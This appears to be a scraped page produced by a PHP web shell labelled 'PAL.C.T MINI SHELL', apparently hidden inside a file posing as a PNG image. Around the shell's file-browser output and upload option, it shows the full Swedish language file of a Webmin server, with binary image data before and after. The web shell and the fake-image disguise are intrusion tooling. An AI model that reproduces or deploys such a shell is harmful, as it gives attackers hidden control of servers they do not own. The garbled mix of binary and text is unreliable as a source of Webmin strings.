‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/lang/sv.auto

main_logout=Logga ut
main_title2=webmin
main_title3=Webmin $1 ($2)
main_skill=SkicklighetsnivÄ
main_readonly=(Skrivskyddad lÀge)
main_unused=Ej anvÀnda moduler
main_refreshmods=Uppdatera moduler

link_essl=Modulen Net::SSLeay Perl som behövs för att skapa HTTPS-anslutningar Àr inte installerad pÄ ditt system.

category_syslet=Syslets
category_cluster=Klunga
category_info=Information
category_=Verktyg

longcategory_servers=Moduler för konfigurationsweb, e-post, FTP och andra servrar
longcategory_hardware=Moduler för skrivare, disk och annan hÄrdvarukonfiguration
longcategory_system=Moduler för anvÀndare, filsystem, Cron-jobb och andra systeminstÀllningar
longcategory_webmin=Moduler för att konfigurera Webmin sjÀlv
longcategory_net=Moduler för konfigurering av nÀtverk och nÀtverkstjÀnster
longcategory_cluster=Moduler som kan hantera flera servrar frÄn ett enda grÀnssnitt
longcategory_info=Moduler som visar information om ditt system
longcategory_=Moduler som utför andra diverse uppgifter

error_previous=föregÄende sida
error_stack=Ring Stack Trace
error_file=Fil
error_line=Linje
error_sub=Fungera
error_stackline=I filen $1 vid rad $2 ringer $3
efilewrite=Det gick inte att skriva till $1 : $2 
efileclose=Det gick inte att skriva till $1 vid stÀngning : $2
efileopen=Det gick inte att öppna $1 för att skriva : $2
fail=misslyckades
helpsearch=Sök i dokument ..
switch_remote_euser=Unix-anvÀndaren $1 finns inte.
programname=webmin
euserdbacl=Det gick inte att hÀmta anvÀndarens ACL : $1
euserdbacl2=Det gick inte att uppdatera anvÀndarens ACL : $1
egroupdbacl=Det gick inte att hÀmta grupp ACL : $1
egroupdbacl2=Det gick inte att uppdatera grupp ACL : $1

chooser_date=VĂ€lj datum
chooser_eopen=Listningen misslyckades : $1

modules_title1=VĂ€lj moduler ..
modules_title2=VĂ€lj modul ..
modules_sel=Valda moduler
modules_all=Alla moduler
modules_ok=Ok
modules_cancel=Annullera
modules_clear=Klar

config_emodule=Modulen finns inte
config_err=Det gick inte att spara config
config_nochange=Ändra inte
config_setto=Satt till
config_ewebmin=Parameter typ 14 fungerar bara i Webmin

referer_warn_unknown=<b>Varning!</b> Webmin har upptÀckt att programmet $1 lÀnkades till frÄn en okÀnd URL, som verkar vara utanför Webmin-servern. Detta kan vara ett försök att lura din server att utföra ett farligt kommando.
referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save</b></li>.</ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Se till att din webblÀsare Àr konfigurerad för att skicka referensinformation sÄ att den kan verifieras av Webmin.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_header=Logga in pÄ Webmin
session_mesg=Du mÄste ange ett anvÀndarnamn och lösenord för att logga in pÄ Webmin-servern pÄ $1.
session_mesg2=Du mÄste ange ett anvÀndarnamn och lösenord för att logga in.
session_user=AnvÀndarnamn
session_pass=Lösenord
session_twofactor=TvÄfaktorer
session_login=Logga in
session_clear=Klar
session_failed=Inloggningen misslyckades. Var god försök igen.
session_twofailed=TvÄfaktorsautentisering misslyckades : $1
session_logout=Utloggningen lyckades. AnvÀnd formulÀret nedan för att logga in igen.
session_timed_out=Sessionen avbröts efter $1 minuter av inaktivitet.
session_save=Kommer du ihÄg att logga in permanent?

pam_header=Logga in pÄ Webmin
pam_mesg=Du mÄste svara pÄ frÄgan nedan för att logga in pÄ Webmin-servern pÄ $1.
pam_mesg2=Du mÄste svara pÄ frÄgan nedan för att logga in.
pam_login=FortsÀtta
pam_restart=Omstart

acl_root=Rotkatalog för filvÀljare
acl_otherdirs=Andra synliga kataloger i filvÀljaren
acl_nodot=Dölj prickfiler i filvÀljaren?
acl_home=AnvÀndarens hemkatalog
acl_uedit=AnvÀndare synliga i anvÀndarvÀljaren
acl_uedit_all=Alla anvÀndare
acl_uedit_none=Inga anvÀndare
acl_uedit_only=Endast anvÀndare
acl_uedit_except=Alla utom anvÀndare
acl_uedit_uid=AnvÀndare med UID inom rÀckvidden
acl_uedit_group=AnvÀndare med grupp
acl_gedit=Grupper synliga i gruppvÀljaren
acl_gedit_all=Alla grupper
acl_gedit_none=Inga grupper
acl_gedit_only=Endast grupper
acl_gedit_except=Alla utom grupper
acl_gedit_gid=Grupper med GID inom rÀckvidd
acl_feedback=Kan skicka feedback via e-post?
acl_feedback2=Ja
acl_feedback1=Ja, men inte med konfigurationsfiler
acl_feedback0=Nej
acl_feedback3=Ja, med konfigurationsfiler
acl_rpc=Kan acceptera RPC-samtal?
acl_rpc2=Endast för <tt>root</tt> eller <tt>admin</tt>
acl_rpc1=Ja
acl_rpc0=Nej
acl_readonly2=AnvÀndaren Àr i demolÀge?
acl_readonlyyes=Ja (Vissa moduler kanske inte Àr tillgÀngliga)
acl_negative=Ge nya modulbehörigheter till anvÀndaren?
acl_fileunix=BlÀddra bland filer som Unix-anvÀndare
acl_sameunix=Samma som Webmin-inloggning
acl_webminsearch=Visa Webmin sökfÀlt?

emodule=Åtkomst nekad: AnvĂ€ndare $1 Ă€r inte tillĂ„tet att anvĂ€nda modulen $2
emodulecheck=Modulen $1 Àr inte tillgÀnglig pÄ ditt system
elock_tries2=Det gick inte att lÄsa filen $1 efter $2 minuter. Sista felet var : $3

skill_high=Expert
skill_medium=Mellanliggande
skill_low=Nybörjare

feedback_title=Webmin feedback
feedback_desc=Det hÀr formulÀret lÄter dig rapportera buggar för att göra förslag till Webmin-utvecklarna angÄende problem eller saknade funktioner som du har hittat. NÀr du klickar pÄ knappen Skicka kommer de information som anges i formulÀret att e-postas till $1.
feedback_desc2=Denna feedback kommer att skickas till utvecklaren av Webmin, inte din systemadministratör, ISP eller webbhotell. Skriv din feedback pÄ engelska, Àven om du för nÀrvarande kör Webmin pÄ ett annat sprÄk.
feedback_header=Feedbackinformation
feedback_name=Ditt namn
feedback_email=din e-postadress
feedback_module=NÀr det gÀller modul
feedback_all=Alla moduler
feedback_text=Beskrivning av problem eller förslag
feedback_os=Inkludera operativsystemdetaljer i e-post?
feedback_osdesc=Om det hÀr alternativet Àr valt, kommer den automatiska feedbackmailen att innehÄlla ditt operativsystemnamn och version.
feedback_config=Inkludera modulkonfiguration i e-post?
feedback_configdesc=Om detta Àr valt kommer e-postmeddelandet att inkludera konfigurationen för den relaterade modulen och innehÄllet i alla konfigurationsfiler som modulen anvÀnder. Om till exempel feedbacken var relaterad till modulen <i>AnvÀndare och grupper</i> skickades dina <tt>/etc/passwd</tt> och <tt>/etc/skugga</tt> filer.
feedback_attach=Ytterligare filer att bifoga
feedback_send=Skicka synpunkter
feedback_mailserver=Skicka via SMTP-server
feedback_mailserver_def=Lokalt sendmail-program
feedback_err=Det gick inte att skicka feedback
feedback_emodule=Du valde att ta med modulkonfiguration i e-postmeddelandet, men valde inte en modul.
feedback_emodule2=Den valda modulen finns inte
feedback_econfig=Du har inte full Ätkomst till den valda modulen.
feedback_via=Skickat feedback till $1 via SMTP-server $2
feedback_prog=Skickat feedback till $1 med sendmail-program $2
feedback_esend=Det gick inte att skicka feedback via sendmail-programmet eller lokal SMTP-server.
feedback_to=Skicka feedback till adresser
feedback_enoto=Inga adresser anges för att skicka feedback till
feedback_ecannot=Du fÄr inte skicka feedback
feedback_ecannot2=Du fÄr inte skicka feedback som innehÄller konfigurationsfiler

progress_size2=HĂ€mtar $1 ($2) ..
progress_nosize=HĂ€mtar $1 ..
progress_datan=Mottaget $1 ($2 %)
progress_data2n=Mottaget $1
progress_done=.. nedladdning klar.
progress_incache=Hittade $1 i cache ..

readparse_cdheader=Saknar Content-Disposition-rubrik
readparse_enc=FörvÀntar sig datakodning, men fick normal kodning
readparse_max=Data överskred den maximala storleken pÄ $1 byte

password_expired=Ditt lösenord har gÄtt ut och ett nytt mÄste vÀljas.
password_temp=Du mÄste vÀlja ett nytt lösenord för att ersÀtta din tillfÀlliga inloggning.
password_header=VÀlj Nytt lösenord
password_user=AnvÀndarnamn
password_old=Nuvarande lösenord
password_new1=Nytt lösenord
password_new2=Nytt Lösenord Igen
password_ok=FörÀndra
password_clear=Klar
password_done=Ditt lösenord har Àndrats. Du kan nu <a href='$1'>logga in igen</a> med det nya lösenordet.
password_err=Det gick inte att Àndra lösenordet
password_euser=Ditt inloggningsnamn hittades inte i lösenordsfilen!
password_eold=Det aktuella lösenordet Àr felaktigt
password_enew1=Inget nytt lösenord anges
password_enew2=Dina nya lösenord matchar inte
password_epam=PAM-fel : $1
password_emodpam=Modhen Authen::PAM perl som behövs för att göra lösenordsÀndringar Àr inte installerad!
password_enewpass=Nytt lösenord Àr inte tillÄtet : $1

ui_mandatory=Detta fÀlt Àr obligatoriskt
ui_checkmandatory=Ingenting valdes
ui_errors=Flera fel hittades :
ui_nothing=Ingenting kom in
ui_searchcol=Hitta rader dÀr
ui_searchfor=InnehÄller texten
ui_searchok=Sök
ui_selall=VĂ€lj alla.
ui_selinv=Invertera valet.
ui_edate=Ogiltigt datum
ui_etime=Ogiltig tid
ui_paging=Visar rader $1 till $2 av $3
ui_rowlabel=$2 i rad $1 :
ui_filterbox=Skriv för att filtrera ..

header_statusmsg=$1 inloggad $2 $3 pÄ $4 ($5)

uptracker_title=Överför fil
uptracker_file=Filnamn
uptracker_size=Storlek
uptracker_pc=Framsteg
uptracker_eid=Inget uppladdnings-ID specificerat
uptracker_eid2=Överförings-ID Ă€r ogiltigt!
uptracker_of=$1 of $2

wsearch_title=Sök $1
wsearch_modt=Modul
wsearch_mtitle=Modulnamn
wsearch_what=Matchande sida
wsearch_type=Matchtyp
wsearch_mod=$1 modul
wsearch_config_webmin=Webmin-modulkonfigur
wsearch_config_usermin=Usermin-preferenser
wsearch_help=HjÀlpsida
wsearch_inmod=I $1
wsearch_text=AnvÀndargrÀnssnittstext
wsearch_esearch=Ingenting att söka efter angavs.
wsearch_enone=Inga Webmin-moduler eller sidor som matchar $1 hittades.
wsearch_on=(PĂ„ $1)
wsearch_helpfor=HjÀlp för <i>$1</i>
wsearch_htext=Matchande text
wsearch_htype=KĂ€lla
wsearch_hcgis=referenser
wsearch_type_mod=Modulnamn
wsearch_type_config=Konfiguration
wsearch_type_help=HjÀlpsida
wsearch_type_text=AnvÀndargrÀnssnitt
wsearch_type_dir=Modul URL
wsearch_hmod=Modul
wsearch_moddir=URL-sökvÀg /$1/
wsearch_searching=Söker efter $1 ..
wsearch_found=hittade $1 resultat :

sql_emysqldriver=Det gick inte att ladda MySQL DBI-drivrutinen
sql_emysqlconnect=Det gick inte att ansluta till MySQL-databasen : $1
sql_epostgresqldriver=Det gick inte att ladda PostgreSQL DBI-drivrutinen
sql_epostgresqlconnect=Det gick inte att ansluta till PostgreSQL-databasen : $1
sql_eldapdriver=Det gick inte att ladda LDAP perl-modulen
sql_eldapconnect=Det gick inte att ansluta till LDAP-servern $1
sql_eldaptls=Det gick inte att starta TLS-kryptering för LDAP : $1
sql_eldaplogin=Det gick inte att logga in pÄ LDAP-servern som $1 : $2 

log_email_subject=WebminÄtgÀrd i $1
log_email_global=Webmin globala ÄtgÀrder
log_email_desc=Detta e-postmeddelande skickades av Webmin som svar pÄ en anvÀndarÄtgÀrd.
log_email_mod=Webmin-modul: $1
log_email_moddesc=Modulens titel: $1
log_email_time=ÅtgĂ€rd utförd vid: $1
log_email_system=Utförs pÄ systemet: $1
log_email_user=Utförs av anvÀndaren: $1
log_email_script=Webmin-skript: $1
log_email_session=Sessions-ID: $1
log_email_remote=Klientadress: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=TB
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KIB
nice_size_b=bitgrupper

langauto_include=Inkludera maskinöversÀttningar

file_truncated_message=hÀmtade $1 av data, trunkerade $2 av $3 
file_truncated_message_head=hÀmtade början $1 av data, trunkerade $2 av $3 
file_truncated_message_tail=hÀmtade slut $1 av data, trunkerat $2 av $3 
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚